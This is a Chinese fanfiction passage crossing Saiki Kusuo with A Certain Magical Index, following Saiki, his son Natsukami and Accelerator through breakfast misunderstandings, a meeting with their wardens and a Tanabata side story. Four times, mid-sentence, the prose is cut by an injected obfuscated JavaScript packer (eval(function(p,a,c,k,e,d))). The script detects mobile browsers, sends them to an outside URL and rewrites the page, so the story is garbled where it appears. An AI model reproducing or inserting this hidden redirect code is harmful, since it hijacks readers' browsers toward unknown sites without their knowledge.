齐木楠雄感觉自己额上青筋直跳,但是国春先生并不知收敛,“这么不想夏夏睡客卧,你做了什么嘛小楠?” 那是什么又八卦又欠揍的表情啊! - 齐木楠雄觉得天都快塌了,过去几十次拯救世界的丰富经验在父子沟通这方面根本不起作用,他想好的一百种撇清关系的说辞完全排不上用场,小朋友食不知味地用勺子拨弄小米粥,拒绝沟通。 澄清无门真的很惨。 然而就在他已经开始构思如何穿越到一天之前,改变这阴差阳错酿就悲剧的早晨时,但是夏上终于打开了信息接收器。 “爸。” 小熊抬起头,因为过度忧虑和进行了大量的人生思考,他的脸色看起来有点虚弱有点糟糕,不消齐木用超能力进行事件回溯,看也能看出这小孩到底独自愁了多久。 小朋友定定道:“不管你做什么决定,我都支持你。” “但是你不能对不起别人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088930|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏上和一方通行坐在同一边,一大一小相似的两个人像是俄罗斯套娃一样。说这话的时候,小的这个情谊恳恳,大的那个并未侧目,却轻轻弹了下眉梢,摆出副好整以暇的观望态度。 「……」感觉有哪里不对。 夏上对自己言论的根据很有心得。 松从昨晚开始就对他进行信息轰炸,他睡得早没看见,早上起来又是新的一轮。 小朋友原本只是想报个平安,却敲了一整个命题并几个错别字发送回去。 [如果一个人的亲妈和后妈长得太像,会不会有什么必然联系?] 不愧是专家,松回得很快:[后妈肯定是亲妈的替身啊。] [你言情小说看多了吧?]天天想这些狗血剧。夏上虽然这么说,却也默认了松的结论。 按照他奶奶那说法,他爸妈伉俪情深,神仙爱情。他爸又对离开的他妈念念不忘,用情至深,那么在海藤叔的咖啡厅看到一张和梦中情人相似的脸,念念不忘也不是不可能。 可是把别人当做替身也太不地道了。 但他鼓起勇气做足思想工作伸出的橄榄枝只得到了他爸的莫名其妙,他加大了捏勺柄的力度,拇指在光滑的铁块上都快磨出火了,装作若无其事的同时还得显得高深莫测,继续暗示,“字面意思。” 什么有的没的的? 「是这样的——」齐木沉下心决定再挣扎一下,却被无情打断。 “没关系的爸,这事你不用跟我解释。”小朋友老成地揉揉眉心,“你心里有数就行。” 夏上话音一落,齐木就想给这倒霉孩子来一香蕉棍子了,但考虑到情窦初开的少年要是脑补出什么更不可描述的,他可真就吃不消这点,替换记忆的计划还是揉巴揉巴扔垃圾桶里了。 这边小的不听人话,隔壁那个大的也不是很省油。 齐木看了眼一方通行,挑食的第一位几乎没动早餐,听见对方向齐木国春询问有没有咖啡,他忍不住呛了句嘴,「你别空腹喝咖啡。」 结果后者看都没看他一眼,同搭手帮忙的久留美道过谢后,不痛不痒地戳了他一句,“你谁啊?” 意思是你别管。 「……」 啊,头疼。 以前同居时,第一位的作息是日夜颠倒,基本都睡到日上三竿,偶有早起,也从来不爱吃早饭,说是胃口不好。 齐木楠雄沉默三秒,「等我一下。」 他站起身,推开门走出去。 五分钟后,脑门儿上顶着个问号的夏上看着他爸又走了回来,手里端着烤鳕鱼、煎培根、炸鸡肉、维也纳香肠、玉子烧等等等等,甚至还贴心配备了餐前小菜。 夏上:“?”你怎么端得住的,不是,你从哪儿弄来的? 「有想吃的吗?」他爸面无表情地问一方通行。 - 吃完饭,齐木国春开车送他们回市区。 夏上坐在副驾驶座上,后视镜可以看到后座的情况。一方通行和齐木楠雄坐在车两侧,系着安全带,前者撑着下巴,盯着窗外的风景发呆,后者端正地坐着,偶尔偏过头去看另一方几眼。 车载音乐响起。 “我越过时空的重重阻隔/ 倾尽一切与你相随……” 画面和谐又宁静。小朋友甚至产生了一种错觉,他的父亲似乎是揣着颗珍之又珍的真心,隔了很长的一段时光,看向眼里没有他的一方通行。 10. 第十章 对于一方通行而言,今天显然不是什么良辰吉日。 自己居然毫无防备地在身份不明的人身边沉沉睡去,对中途发生的事浑然不知,得亏这个粉毛并不是什么穷凶极恶之徒,且同样是个警惕性很低的笨蛋——居然醒的比他还晚几秒,否则他的电极大概已经变成标本挂在墙上供人展览了。 但那之后,醒来的他为什么没能感觉到愤怒呢? 为什么能够忍耐到对方自动松手呢? 窗外飞驰而过的景象留不住,一方通行漫不经心地思考着。 他应该是厌恶别人的擅自靠近的,若是放在平时,早就被他黑着脸弹飞出去外加一句“赶紧去死吧”,但不知为何,那时的他却生不出将对方推拒开的念头,取而代之的,居然是一种深远的怀念—— 车不知何时已经停下,某人敲敲他的窗户。 窈窕女性赤色的头发在脑后绑成两束,上半身标志性地仅用布条将胸部缠绕,外面罩着件黑色西装。结标淡希甩着军用手电筒恶劣地笑,“下车了,暴力萝莉控。忧虑过多的话,会早死的哦……那都是谁?从捕兽夹上救下野兽的善良村民?” 土御门在她耳机里大笑,“可能是哪里欠的风流债喵~” 机械振动的微妙动静像是在咬耳朵。 想到对面的是个身高一米八,总是一副墨镜花衬衫沙滩裤打扮露出八块腹肌,整天招摇过市的金发口癖男,结标淡希就觉得耳朵疼。 虽然表面上结标同样露出自己纤细的腰围,但她坚持认为他们本质上是不同的。 就是这样一个很不对付的男人,很不幸他们又成了队友。 而他们很不礼貌揶揄的对象则是他们的顶头上司——从同事到属下的身份差距一时变化颇大,还好他们之间还有另一层可谓特殊的关系。 囚徒和狱警。 十四年前,在刚刚上任的二代理事长一方通行的示意下,以黄泉川为代表的警卫员联合起诉他犯有故意杀人罪,受害人是一万个御坂妹。伴随着媒体大书特书的报道和来自社会多方面的攻讦与指责,他被判有罪,刑期是一万年。 土御门和结标既是理事长的左右手,也充当着罪人一方通行的狱警。 “有事?”第一位礼貌示意齐木国春自己已经抵达目的地后,故意打开车门,推得外面总是呈口舌之快的女人一个趔趄。 半途被除了最终之作外的人拦下可不是什么好消息,尤其这个人还是结标淡希。 唯一的可能就是理事会那边有什么事。 昨天已经给最终之作的电话留言,早些时候也说过自己会尽快回去,现在虽然失约,但小麻烦精和刺猬头下三滥在一起安全得很,他也能放心离开。 他很想快点解决一切,但偏偏眼前这女人很喜欢在他的雷区跳舞,轻易不进入主题,“哦~我想起来了,副驾驶上那个小鬼是不是昨晚和你待在一起的?嘛,甚至等不及隐藏在暗中的我出手,囚徒先生您居然能够在自顾不暇的情况下冒险用能力救他……那小孩是你新交的男朋友吗?不是吧,你们年龄差二十岁左右诶。” 土御门声音都变了,“还真是风流债啊喵?”这两个人互相看不顺眼,却总是在言语挟持一方通行这方面一拍即合。 那女人还真好意思提起这事…… 不仅对昨晚的危机情况坐视不理——要真等她悠哉悠哉地从房顶跑下来,那小屁孩估计脖子要被勒断了。 第一位驻足,咬牙切齿地几乎要将臼齿咬碎,“啧。你找架打吗?正太控。” “你要是愿意写两份能力使用报告也行。”结标淡希无所谓地耸耸肩,“另外你擅自脱离监视,可是要多加一份检讨的,并且字数肯定会不少于五千字,别的我或许不太懂,但作为你的狱警,这点我倒是能够跟你打包票。” 擅自脱离监控? 一方通行气笑了,“但凡你的能力不那么废物,或者愿意早点站出来送我回长点上机,你也不至于在人家家楼下傻等一晚上。” “哈?你敢说你明知道我在附近,还要莫名其妙跑到别人家里去洗澡,不是故意针对我?我连伞都没打……” “针对你又如何?” 结标被这光明正大的堵嘴话噎地喉头一滚,她又开始甩她的军用手电筒,“来打架。” “嘛嘛,和气一点嘛。”土御门隔空劝架,虽然只在结标的耳朵里。 然而一方通行并没能再有吵下去的耐心,他敛了敛眉,转身就走,“不要,除非你帮我写报告。” 结标淡希:“……” 土御门吹了声口哨,“你看我就说嘛,要是限制他能力使用的次数,他的脾气绝对会变好的,原来那个嚣张跋扈的第一位,现在都学会忍气吞声了。” 红发女性歪了歪头,“嘛,或许他早已改变。” 耳机那头的人只是轻笑一声,没说话。走远的第一位不忘提醒她跟上。 她无所谓地弹弹迷你短裙,反正她很愉快自己达到了每日恶心一次对方的目标,低声嘀咕了一句“真是的”,便跳脱地跟上眼前这位走的像游荡在街道上的小混混的男人,“统括理事会派了代表来。” 前不久十二理事内部进行了一次大换血,虽然他们很长时间以来都是摆设,并且采取民调选举的方案,但由于最新走马上任的几位理事背后涉及大财团,掌握着都市经济命脉,一旦处理不当,很有可能会招致麻烦。 于是就算一方通行再怎么迫切希望早点了结,也不能随他所愿了。 “谁?” “赤司征臣要见你。” 一方通行咂舌。 偏偏是那男人吗? - “赤司?”夏上抱着手机头都没抬。 坐在他对面的松服了自己这个青梅竹马的敷衍态度,他敲敲桌子,“你倒是给点反应啊,赤司征十郎欸,财阀家的少爷,少有的lv5,关键词一箩筐的珍稀物种,风云人物,现在要去联合高校读书啊!你说他总不能也是仰慕上条当麻去瞻仰圣地的吧?” 夏上告诉过松,借口说他想去联高,就是因为太喜欢上条当麻了。 可怜的灰吕松深信不疑,就此类推所有企图去联高的能力者的脑回路,上条势力几乎成了红毛少年脑袋里的万能袋,谁都能装进去称称。 这事搁别人身上还能强行解释,但对方是lv5,这很难说。 夏上戳开新链接,一目十行,“那不挺好的吗?” 早上那事,虽然理性角度来讲确实能够理解,但他感性层面总是过不去那道坎儿,怪难受的,于是找了个借口出来散心。本来想去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088931|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他海藤叔的咖啡馆挨一挨,半途遇到买菜回来的灰吕杵志,非要请他吃饭,推托不过,就只好来了灰吕家。 路上灰吕叔还请他喝了奶茶,揉着他的脑袋一口一个小朋友。 小朋友疯狂搜索都市怪诞和离奇的家庭伦理故事,但不知道是不是太虚构太故事性的原因,他总觉得这些都没有他自己家的离谱。 “好什么呀,他爸最近当选了学园都市的理事,财团风头正盛。他又是那样的条件,长点上机不得哭死了……”松往后一倒,坐着的椅子发出承受不住的呻/吟,仿佛要翻过去似的,“你说他图什么啊?” 哀嚎着的在场唯一正常人一嗓子没吼完,就被夏上强行用奶茶吸管堵住了嘴,“好了,你别吵了,开学后我帮你问问行不行?” “这可是你说的啊。说真的,我可太想知道你们这群人脑袋里装的是什么了。”松吸溜一口珍珠,含含糊糊地说,“请务必帮我剖析一下。以防我等平民因为不能感同身受而心生迷惑。” “行啊。”夏上嘴上答应,心里直念才怪。 他正担心自己的计划因为种种不可抗力因素泡汤,横空出世的lv5先生可谓是彻底消除了他的担忧——大众的目光和精力是有限的,他们永远只会关注自己想关注的,值得关注的,有这么一号人物在,还有谁会在乎某个lv4到底是个怎样的人呢——只需要他远离那个自带话题的流量,那么自己就永远被覆盖在对方的光芒之下。 小小的雀跃撩拨心弦,就连早晨被冲击地萎靡不振的神智也些微亢奋起来。 “你们两个说什么呢。”灰吕杵志系着传说中的草莓印花的围裙,端着热乎乎的鸡汤,就想这明明只有两个人住,每个房间却永远都亮着灯的家一般,屋主人一副几十年如一日的青春热血派头,周围锃锃冒小星星,“过来吃饭!” 锅盖揭开的瞬间,松捏住了鼻子,“这是什么啊!” “榴莲煲鸡汤?”夏上收了手机凑过来,他一说,松立马要跑,然而在他哥的威逼利诱下,只好趿拉着鞋无精打采地落座。 ——鬼知道这个月他已经吃了多少黑暗料理。 最近灰吕杵志在研究菜谱,于是可怜的松就荣升成了试验品。 倒不是怕被毒死,毕竟他哥是那种万事都要做到极致的人,厨艺方面很有才能,开发新品很快上道,第一次做口味就已经像模像样,主要他每次采取的原料搭配总是那么清醒脱俗,再加上露出的半截比灯泡还有光泽的屁股,就很没有美食享受的体验。 ……好在今天没有。 确认下灰吕杵志确实衣冠整洁后,灰吕松松了口气。不然他就对不起被他邀请来家里吃饭的夏上了——把人家眼睛弄瞎了怪不好的。松负责任地这般想着。 - 夏上这顿饭吃得很香,他回到家的时候,房间里的灯亮着。 “爸?” 他爸不在,大概是出门觅食去了。 原本可以说得上是干净整洁的桌面今天看起来颇为凌乱,到处都是胡乱划写的草稿,写满了复杂的计算公式。有些掉到地上,散了一地。 随手捞起一张俄文书写的报告,匆匆一瞥就挪不开眼了。 夏上其实看不懂,但他至少认识里面唯一的单词。 ——lv6。 11. 第十一章 单亲家庭的小孩心思一向细腻,就算是拥有像其失败经历一样浅薄的育儿经验的齐木楠雄也懂。 不同于家庭和睦的小孩从小的无忧无虑,单亲家庭的小孩从懂事起就会思索这样一个问题,自己的双亲为什么会分开?为什么离开的那一方从未回来看过自己?是不是不要自己了? 并且提前模拟当有血缘关系的另一位家长再度出现时,自己该以怎样的态度去面对这个对自己不闻不问,却又在关键时刻出现的便宜亲人,思考是欣然与之相认,还是愤怒地将其逐出自己的家庭。 在夏上的每个年龄段,齐木都有意试探过。 「你想你妈吗?」 小孩一开始还是个说话都不利索,只会流口水的小饭团,连“妈妈”这个词代表着什么都不知道,听见他说话就笑,在摇篮里摇着胖手喊“papa”。 上幼稚园那段时间,夏上人话倒是听懂了,中二期却提前得很早。问了也不说话,拉着个老长的脸转过身去看电视,冷酷无情,给他爸留下一个笔直中捎带些倔强的背影。如果不是电视里在播改造汽水侠十四号的话,齐木真的以为儿子四五岁的身体里装了个十几岁的灵魂。 ——话说才几年的功夫,上次看还是改造汽水侠二号,这都十四号了? 这种酷崽状态持续了几年,直到升国小,才终于有点同龄小孩的样子,但不得不说态度的转变又稍微过了点,那会儿的小朋友过于粘人了,像槽牙杀手糖精本精。 那会儿小孩做作业做了半刻钟,就不安分地爬上齐木的椅背,蹭着他爸脑袋看他爸唰唰写报告,还抱着他爸的脖子摇来晃去,黏糊糊地轻哼撒娇要吃鱼汤。然而齐木一问他,他就麻溜地滑下去,赤着脚爬回去咬笔杆子,眉头皱得跟四月被吹皱的湖面似的。 齐木最后一次问,夏上都升初中了。 “……我想她干什么?”小孩穿着睡衣晃晃荡荡的,叼着牛奶吸管,撩了一下眼皮子,“你俩婚都离了。” 他“啪”地一下按掉遥控器,“睡啦,我明天还上学呢。” 齐木问这么多次,倒不是说特意为了将来家庭扩容和另一位家长的回归做准备,老实说,那时候他那这个测试小孩的心理健康程度,看看有没有发展成反社会人格的倾向。 也正是做了育儿方面科学且精密的研究,当初他选择不让母亲这个身份缺席家庭教育。 长久以来,学园都市中久久流传的上条势力及其教主上条当麻的“人格修正拳”广受追捧,并且传入了本人的耳朵,为小圈子众人调侃的谈资。于是这刺猬头就开玩笑地提出必要情况下,自己可以给那些失足少年的家庭予以免费帮助——一拳不行就再来一拳。 齐木想象了一下自家儿子挨打的画面,想到一半,忽然切换到自己被一方打。啊,确实如此,要是自己教育不当还要麻烦社会,以后一方知道这事,估计得用拐杖踢爆他的头。 还好他那拐弯抹角的教育方针没出什么错。 夏上长成了一个健康懂事的乖小孩。 嘛,虽然表情管理和语言表达都逐年精进,但深藏的小心思几乎没变过,总体而言,小朋友还是很在意他妈的。 而且这种在意并不属于负面情绪,齐木就几乎顺其自然了。 但这种顺其自然,在夏上那天深夜发问“我是不是长得越来越像妈妈”,并且给出“你的眼神不对”这样的解答的瞬间,让齐木楠雄这个当爸爸的终于意识到:放任型教育不得不就此而止。 在小孩笃定自己父亲十几年如一日深爱着自己母亲的前提下,让他察觉到自己对一方通行的感情,显然是齐木不想看到的。 因为于夏上而言,一方通行不是他妈。 他爸和一个不是他妈的人之间有了火花,肯定会瞎想——好吧,齐木承认,他是取下锗戒指偷听了夏上的心声,并且有被小孩满脑子的“替身文学”震惊到。 下午看文件,半个字都没看得进去:) 由于目前并不是摊牌的时候,考虑到会带坏小孩子三观,伤害小孩子的感情,齐木楠雄决定必须得从长计议。 夏上一出门,他也紧随之后地出发。然而等到特地跑到上条当麻家取经育儿妙招的齐木楠雄回到家时,小朋友却拒绝与他交流,给他留了灯,自己躲进卧室里,躺在床上睁着眼发呆。 齐木走到侧卧门口,犹豫再三,最终还是没进去。 晚间父子会谈的计划泡汤,还是下次再说吧。 - 继早上晴天霹雳般的冲击后,夏上晚上的睡眠质量持续走低。 其实他爸到底如何抉择,对于小孩来说已经不是很重要了,在最初的尴尬期过后,他已经能够以一颗平常心面对大人了。 但或许是他在这个自我净化的过程中看了太多的狗血肥皂剧,白天还好,一到夜深人静的晚上,那一个个古怪的未来模拟便纷纷涌现,什么分家产后妈和儿子不对付闹得不可开交啊,什么有情人终成兄妹其实他爸和一方是失散多年的表兄弟啊,十八线编剧水平的情节叫夏上自己也直呼想象力丰富。 而且现在他也不敢做梦了。 指不定哪天梦境就照进现实,像上次一样:) 几乎进行了一晚上的天人交战,他才在凌晨六点勉强合眼睡了两小时,并且早上八点准时在闹钟的骚扰中睁开如坠千斤的眼皮。 小朋友实在是太困了,浑浑噩噩飘进卫生间洗漱。 因为整个人太过失魂落魄,以致等到他走进厨房后,才后知后觉地嗅到一股米香。 他爸做的吗?人呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088932|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夏上这边刚困惑完,主卧的门就开了,齐木楠雄顶着跨到极致的黑脸,慢慢走出来,「早。」 昨天听夏上在脑子里点播了半晚上肥皂剧和半晚上青春疼痛文学,搞得他也没睡着。 父子俩是隔着堵墙一起失眠的。好不容易等这破小孩早上四点睡着了,他才得空爬起来煲锅小米粥。 “早,爸。” 打着哈欠,夏上无精打采地盛出两碗,“爸,下回煮粥的时候要么水放少一点,要么火大一点,要粘稠点,不要太清。” 齐木楠雄脑子还是晕乎乎的状态。超能力者在遇到自己并不擅长解决的问题面前,总是会因为计算太多可能性而过载。更何况,他其实从来都不擅长揣度人心。夏上一提粘稠度,他脑子里就全是米粒在高温中化开,沸腾的粥在锅里咕嘟咕嘟冒泡,一个挤着一个往上翻涌的样子,很像他无从捋起的思路。 他开始理解上条当麻最初的顾虑,就算是超能力者也总是很难控制事态发展的方向,更无法预测人的思想,在不得不与一方通行保持陌生人关系的当下,对夏上,他做不出最优解。 那个时候,身体为什么会擅自拥抱一方通行呢?为什么会把爱意毫无保留地袒露出来呢? 陷入沉睡的他其实根本不知道故人的意外到来啊。 「凑合吃吧,下回我注意。」齐木楠雄揉揉太阳穴,尽量平心静气。 夏上从空气炸锅里又端出两截烤肠。二十一世纪伟大发明今天也在稳定发挥,肉肠被烤得香气四溢,就算熬了个大夜早饿过了的小朋友在这阵阵香味中找回一点自我。 然而他爸却很是心不在焉,且对新鲜出炉的香喷喷食物没有任何欲望,连说话语调都是冷静机械中略带几分疲倦。 又是这种感觉。夏上其实真的很不习惯将负面情绪展露无疑的父亲。 夏上凝视着神情恹恹的齐木楠雄,心想他爸上一次如此赤裸地摆出脸色还是什么时候呢?他低头咀嚼着筋道的肉肠,感觉他爸又开始看他了。那移不开的目光,那掺杂着其他复杂情感的视线。 晨光铺进屋子,齐木楠雄的身形分毫不动。 铃科夏上戳戳碗里的米,米在汤里起伏,上上下下。他像只初次来到世界畏首畏脑的小熊幼崽,沉默了又沉默,良久才敢开口: “爸到现在,还是很喜欢妈妈啊。” 齐木楠雄端坐在餐桌的另一面,从窗口溜进来的细碎晨风拨弄着他鬓角的碎发。晨光像是溪流般从他的耳廓向下流淌,伴随着那颤抖的呼吸,跳跃着、跳跃着,像是山洪终于找到了喷发的大坝,他此时此刻似乎终于能将沉寂在心中多年无处流淌的情感宣之于口。 他神情柔和,紧绷着的肩胛骨都瞬间松快下来。 「是啊,我太想念他了。」 12. 番外一 今天给大家整个七夕特别篇(狐写瞎写 【1】 和一方通行的约会特地选定在乞巧节实在是意外之举,产生这样的想法完全是因为这是他们确定关系后的首个传统节日,齐木在家吃咖啡果冻时被久留美稍稍一撮窜,脑子一热就发出了邀请。 为此第一位曾很是嫌弃—— “你要和最终之作一起把心愿色纸挂在竹竿上吗?”白发少年没骨头般陷在沙发里,他懒洋洋地指了指哼唱着歌抄写儿童诗歌的小御坂。 「……」 齐木静默了良久,「要不去就去试试和服吧。」 “我不。”学园都市第一位翻了个身,继续玩手机。 最终还是去了。齐木楠雄连拐带骗,并且承受了自家男朋友一路的骂骂咧咧,把人领到位于古街的定制和服的店铺。 一方通行站在门口比划了个数字,“先说好,我有八个亿的债务。” 「我当然知道,毕竟其中有一半是我的。」齐木楠雄没等他说完,就把人推进门去,空调的凉风撩起松散的刘海,额头上凉嗖嗖的。古色古香的庭院建筑内部是现代的灵魂。 想想也知道白发红眸的少年穿和服一定好看,但没想到会这么好看。 穿墨绿色就岩岩如峦山孤松,穿蔚白色的就朗朗如霁月清风入怀,就连略显女气的粉色也衬得他如独开不败的春日樱花—— 然后一方通行脚下一歪,他皱着眉去抓齐木的胳膊。 第一位“啧”了一声,“能不能扶我一下?” 回到家换衣服时,齐木才发现自己的胳膊上被捏出了青紫(然而当时自己正沉浸在堪比吃咖啡果冻的甜蜜里没发现),这样看来木屐确实给了对方很强的不安全感。 最终他们挑了夜空蓝的那件。 厚重的衣襟窸窣作响,细长的烫金雕花烟枪被随意地架在虎口,两指虚捏着,伴随着后院潺潺流水游动与竹筒敲击石面的空灵声,白发少年微仰着头,目光漫不经心的扫过吊顶。他脖子上挂着的冰冷漆黑电极明明是那样格格不入,却化作在场人记忆里最鲜明的烙印。 店家没忍住按下了快门,在众人惊讶的喟叹中,毫不知情的主人翁则盯了好一会儿吊灯,然后慢吞吞地嘀咕道:“那上面有只蚊子——” “你那是什么表情?”他问齐木楠雄。 齐·男朋友真好看啊这就是颜狗杀手吗·木·大家都感受到了这种好看我真的好欣慰·楠·别人只能看一次我能天天看我好快乐·雄决定收敛一下。 第一位脱了木屐,把套了白袜子的脚晾在木凳上,“轮到你选了。” 结果他男朋友毫不犹豫,「这件是情侣款吧,麻烦帮我把两件直接打包。」 一方通行气得差点把拐杖往粉毛脑袋上戳,“不行,你得给我穿。” 「你愿意看面瘫的换装秀吗?」某粉毛无辜脸。 “废话,给我穿!”暴怒的第一位已经把手指伸到了电极开关上,威胁。 最后还是没按。 毕竟债台高筑的第一位赔不起任何东西了。 齐木楠雄也凭借自己的装疯卖傻和厚脸皮没能让男朋友如愿以偿,「下次补偿你一场女式和服的试穿秀。」 “去死。” 以致总觉得自己被耍了还亏了一大笔的一方通行接下来疯狂冷笑。齐木把打包好的衣服拎过来时,他看都没看,只把眼皮子一撩,“你打/黑工了?” 「没有。」 「我去南非挖了钻石。」 其实是他攒了很久的零花钱。 - 那张完美的抓拍被被店家制作成写真,放在店里最明显位置的当宣传。 据说上条当麻偶然间去到那家店,惊了一个趔趄后,提议店家给这位“花魁小姐”取个艺名。 有段时间,铃科百合子的大名风靡学园都市和服圈。 学园都市每天晚上都会沦陷几个青年小伙,每天苦苦搜寻女神的踪迹。 不过除了这张神图,铃科百合子销声匿迹地像是从来没这个人——那当然了,因为一方通行再也没穿过和服,那套和服被收在衣柜的最底层。 进化成都市秘闻的神图多年后迎来了另一对恋人。 其中那个黑发的少年往那儿跟前一站,简直是套娃生产现场。经营店铺多年的店长,也就是这张神图的作者,差点以为这位传奇的老主顾染发后再次光临。 等等,他身边那个红发同龄人……妈耶?这是梦回十五年前了? 更惊奇的是,这小孩出口就是,“妈?” 【2】 某超能力者和他的男朋友路过街边的娃娃机。娃娃机里是咖啡果冻,抓一次只需100日円。 走路从来目不斜视的某人隔了老远就注意到了娃娃机的奖品。 他极力想要忽视,快速走过的同时却把眼睛忘在了那里。注意到这一点的一方通行刚想要点明男友自欺欺人的伪装,哪知齐木楠雄瞬间决定要破罐子破摔。 「就抓一次。」 「只要抓到我就赚了。」超能力者信心满满。 “好啊。”一方通行往公园长椅上一坐,整个人靠上椅背,“我帮你记着,你今天到底会亏多少钱。” “谁用超能力谁就是小狗。” -5000日円。 居然亏了五千日円。五千元能买多少咖啡果冻或者是罐装咖啡?一方通行反复阅览脑袋里瞬间计算出数字哑口无言,甚至都不想骂这粉毛败家。 「一定是机器有问题。」 当事人脸上面无表情地坐到一方通行身边,过于了解他的后者已经能想象到在这古井无波的平静表面下,到底有多少暗潮涌动。 白发少年敷衍点头,“嗯嗯,一定是机器有问题。” 他话音未落,旁边就传来一声夸张的吼叫,“喝啊——”某个穿着灰色百褶裙的齐肩茶色少女就对着贩卖机的侧面来了一记飞踢,巨响过后,伴随着咔嚓咔嚓重物下坠的声音,什么东西掉进了取物口。 御坂美琴弯腰熟练地掏出果汁,她注意到对面的两双眼睛,“是你们啊。” “……你还真是和大小姐形象的相距甚远。” 严格意义上说,学园都市的前七位都不怎么正常。一方通行这么想。 “这是打击修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088933|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理法,机器太旧了啦,弹簧全松,塞纸票也好塞银币也好都会被吞掉,它还欠我一千円呢,就这么慢慢还吧……怎么了?” 齐木楠雄那按捺在内心的阴暗彻底爆发。 他站起来活动了一下腿部筋骨,对着娃娃机跃跃欲试,「我开动了。」 - 有目击者见到,下午两时许,有一拄拐少年强行扛着另一名少年从公园大门口走出,两人系同识,其中一人被另一人单方面冷嘲热讽。 尔后,拄拐少年疑因路人说了一句“真可怜年纪轻轻的就瘸了”,迁怒于人。 无辜路人被瞪过来的凶光所骇,当场昏迷。 白发少年和他的粉毛同伴双双先入医院,再入警备局。两人负债新增103000日円。 还好医院允许信用卡付款。 自此以后,超能通行遇到娃娃机都是绕着走的。 多年后,赤司和夏上也重新体味过了一次父辈们走过的路,送人去医院后同样接受了警备员的调查。 不过青出于蓝而胜于蓝…… 他们是因为赤司一口气抓空了所有的娃娃机,而且百发百中。当场把负责人气厥过去,搞得夏上掐着对方人中求他不要死。 离开的时候,两个小孩声势浩大,警车开路,五辆车紧随其后。 有四辆装满了娃娃:) 【3】 从警备局出来,天已经黑了。 稍微吃了点垃圾食品,指两杯罐装咖啡(300円),隔壁桌点蔬菜沙拉的结标淡希嘲讽了他们的贫穷。 剩下的可支配现金勉强能够看个电影。 两个人在乌漆嘛黑的电影院里牵了手,因为经验不足,导致姿势扭曲,五分钟手就麻了,他们就换只手拉,两只手轮流休息。影片都进入尾声了,齐木楠雄才后知后觉地用超能力模拟计算最佳牵手姿势——一方通行拒绝计算,因为最终之作会知道,小矮子有超越其外表年龄的八卦嗅觉。 散场了,坐在他们后排的小姑娘抱着男朋友的胳膊撒娇,“哎呀,亲爱的,好可怕呀,你说那个人是不是变态啊,他怎么敢杀人的呢。” 他们看的电影是一档刑侦片,故事里反派杀人虐尸,眼睛都不眨一下。 看影片的时候全影院此起彼伏的抽气声,被吓得。 一方通行就用拐杖碾齐木楠雄的脚,问他:“你是不是变态?” 「为什么这么问?」 白发少年就笑了,“你拉着的可是杀人犯的手,他可是杀了一万个人呢,和变态□□同流合污的,只会是变态同类吧。” 「那我就是变态。」 他得到了超能力者毫不犹豫的回答。 反倒是他微愣了神,任由齐木楠雄拉着他往电影院外走,对方反手握住他的手腕,凉凉的一截瘦骨嶙峋的,「可要抓得更紧一点了,散场人多。」 【4】 其实他们的乞巧节没有这么的精彩。 第一年的八月,他们不认识。第二年的八月,他们一起在警备局不存在的审讯室里发呆。第三年的八月,他们就分开了。 这些都是齐木楠雄想象的。 13. 第十二章 不知道是不是缺乏睡眠的缘故,过了饭点,夏上脑子又不在线了。 今天联高开学,本来前一天晚上校服就已经送了过来。夏上睡前还特地将其整齐叠在床头方便第二天更换,结果他那容量今日份限定低的脑子愣没能让他意识到这点,吃晚饭回到房间就开始往身上套初中的校服,还在按照着去初中的路线算赶车时间。 还是他爸看见提醒了一句,不然上错电车事小,走错学区可就糗大了。 关于那天晚上能力突然失控瞬间移动四十公里这件事,夏上和他爸提过,他爸听完没什么反应,只说超过身体极限的能力额度尽量不要透支。夏上心想哪儿会啊,估计也就这么一次瞎猫碰到死耗子。 果不其然,在此之后,无论他如何主观上想要尝试,都没能再现那天晚上的情景——他每次最多还是只能移动八百米。 不过要真是有这能力,他也不用累死累活地冲刺入学了。 